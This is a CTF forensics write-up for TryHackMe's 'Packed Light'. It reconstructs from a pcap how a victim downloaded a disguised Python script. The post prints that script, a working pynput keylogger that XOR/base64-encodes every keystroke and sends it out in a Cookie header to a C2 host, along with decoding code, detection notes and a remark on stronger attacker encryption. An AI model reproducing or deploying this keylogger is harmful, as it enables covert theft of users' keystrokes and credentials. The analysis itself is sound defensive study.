Dev.to · 6 min read

TryHackMe : Packed Light Writeup

TryHackMe : Packed Light Writeup

TL;DR A .pcapng capture shows a victim host on 192.168.1.141 downloading a Python keylogger (updates.py) from an attacker-controlled "hotel update server" at byte-lotus-hotel.thm:8080 (34.41.103.191). The script XOR-encrypts every keystroke with a hardcoded key, base64-encodes it, and exfiltrates it inside an HTTP Cookie header on a GET request back to the same host. Replaying that XOR/base64 scheme against the 30 exfil requests in the capture recovers the flag. Flag: THM{[REDACTED]} 1. Initial triage $ capinfos traffic.pcapng Number of packets: 1348 Capture duration: 41.831541 seconds Encapsulation in use by packets: Ethernet (1177), NULL/Loopback (171) Protocol hierarchy: $ tshark -r traffic.pcapng -q -z io,phs eth ip tcp http frames:62 bytes:37862 tls frames:228 bytes:133744 udp ssdp, dns, quic null (loopback) ip tcp data frames:16 bytes:928 Most of the capture is background noise — TLS to search engines, QUIC, Microsoft telemetry, SSDP. The interesting slice is the plaintext HTTP traffic to a non-standard host, so that's where I started. 2. Spotting the payload download $ tshark -r traffic.pcapng -Y http -T fields \ -e frame.number -e ip.src -e ip.dst \ -e http.request.method -e http.request.uri \ -e http.host -e http.response.code 16 192.168.1.141 34.41.103.191 GET /temp/updates.py byte-lotus-hotel.thm:8080 19 34.41.103.191 192.168.1.141 200 391 192.168.1.141 34.41.103.191 GET / byte-lotus-hotel.thm:8080 ... [repeats ~30 more times, one GET / every second or so] Frame 16 is a normal Chrome download (User-Agent: ...Chrome/149.0.0.0...) of /temp/updates.py from byte-lotus-hotel.thm (resolves to 34.41.103.191). After that, starting at frame 391, the same source IP starts hammering GET / on the same host roughly once per keypress, but with a different, custom User-Agent. That pattern (one request per user action) screams keylogger exfil, so the first move was to pull updates.py out of the stream: $ tshark -r traffic.pcapng --export-objects http,./httpobjs $ cat httpobjs/updates.py import requests import base64 from pynput import keyboard C2_URL = "http://byte-lotus-hotel.thm:8080/" def getkey(): p1 = "H0t3lSt@ff0Nly" p2 = "K3epS3cr3t!" return p1 + p2 def xor(data: bytes, key: bytes) -> bytes: return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) def sendltr(character): raw_bytes = character.encode('utf-8') encrypted = xor(raw_bytes, getkey().encode('utf-8')) b64_string = base64.b64encode(encrypted).decode('utf-8') headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1", "Cookie": f"hotel_sess_state={b64_string}" } try: requests.get(C2_URL, headers=headers, timeout=0.5) except: pass def on_press(key): try: sendltr(key.char) except AttributeError: if key == keyboard.Key.space: sendltr(" ") elif key == keyboard.Key.enter: sendltr("\n") print("[*] Byte Lotus Sync Service started...") with keyboard.Listener(on_press=on_press) as listener: listener.join() Confirms the theory: this is a pynput-based keylogger disguised as a "hotel sync service." Every keypress is: Grabbed individually (character is a single char). XORed against the key H0t3lSt@ff0NlyK3epS3cr3t! (p1 + p2). Base64-encoded. Smuggled out as the value of a hotel_sess_state cookie on a GET / to the C2. The key detail for decoding: because sendltr() is called once per character, raw_bytes is always length 1. That means the XOR loop key[i % len(key)] only ever uses index i = 0, i.e. every exfiltrated byte is XORed with just the first character of the key, 'H' (0x48) — the rest of the 25-byte key is never actually used. That simplifies decoding a lot. 3. Pulling the exfil cookies $ tshark -r traffic.pcapng -Y "http.request.method==GET" \ -T fields -e http.cookie \ | grep hotel_sess_state \ | sed 's/hotel_sess_state=//' > cookies.txt $ wc -l cookies.txt 30 cookies.txt Sample of what's captured, in packet order (each line = one keystroke sent seconds apart from frame 391 onward): HA== AA== BQ== Mw== Hg== ew== ... NQ== 4. Decoding import base64 key = "H0t3lSt@ff0NlyK3epS3cr3t!" out = [] with open("cookies.txt") as f: for line in f: line = line.strip() if not line: continue raw = base64.b64decode(line) out.append(chr(raw[0] ^ ord(key[0]))) # only key[0] ('H') is ever used print("".join(out)) $ python3 decode.py THM{[REDACTED]} The 30 exfiltrated bytes reassemble in capture order to spell out the flag directly — the "victim" was literally typing the flag on their keyboard while the keylogger phoned it home one character at a time. 5. Flag THM{[REDACTED]} Key vulnerabilities / weaknesses exploited (for detection writeups) # Weakness Detail 1 Plaintext HTTP C2 channel Keylogger exfil travels over unencrypted HTTP; fully visible in a pcap. 2 Weak, hardcoded, effectively single-byte XOR "encryption" xor() is correct in general, but because each HTTP request carries only one character, key[i % len(key)] collapses to key[0] every time — the 25-byte key is decorative. 3 Predictable exfil channel Cookie header on a fixed URI (GET /) makes the beacon trivially greppable in traffic (hotel_sess_state=). 4 Social-engineering delivery Payload was served as /temp/updates.py from a spoofed "hotel update server," downloaded via a normal browser GET — no exploit needed, just a convincing filename/host. Attack chain Attacker C2 (byte-lotus-hotel.thm / 34.41.103.191:8080) │ │ 1. Victim browses to /temp/updates.py (Chrome GET, frame 16) ▼ Victim host (192.168.1.141) │ │ 2. updates.py executed -> pynput keyboard.Listener starts │ "[*] Byte Lotus Sync Service started..." ▼ Every keystroke │ │ 3. XOR(char, "H0t3lSt@ff0NlyK3epS3cr3t!") (only key[0] used, single-char msgs) │ 4. base64 encode │ 5. GET / with Cookie: hotel_sess_state= (custom UA: ByteLotusClient/1.1) ▼ Attacker C2 receives exfil, one keystroke per request (frames 391–1310) │ ▼ Analyst reassembles cookies in packet order -> decodes -> flag Mitigations Treat unsigned "update" scripts served over plain HTTP from unfamiliar hosts as untrusted; verify code signing / hashes before execution. EDR/host monitoring for processes registering global keyboard hooks (pynput, SetWindowsHookEx, etc.) outside of known accessibility tools. Network egress monitoring for beacon-like patterns: fixed-interval GETs to the same host/path with data hidden in headers (Cookie/User-Agent) rather than the body. Enforce HTTPS/TLS interception or at least alerting on any outbound HTTP (not HTTPS) to non-allow-listed hosts, since it makes this kind of exfil trivially visible to anyone with pcap access (as it was here). Rotate/derive per-message keystream material properly (e.g. real stream cipher or per-message nonce) if attackers want their own "crypto" to actually resist analysis — not that we're endorsing that goal.

This is a summary aggregated from Dev.to. Read the complete article on the original site:

Read full article at Dev.to

More Cybersecurity News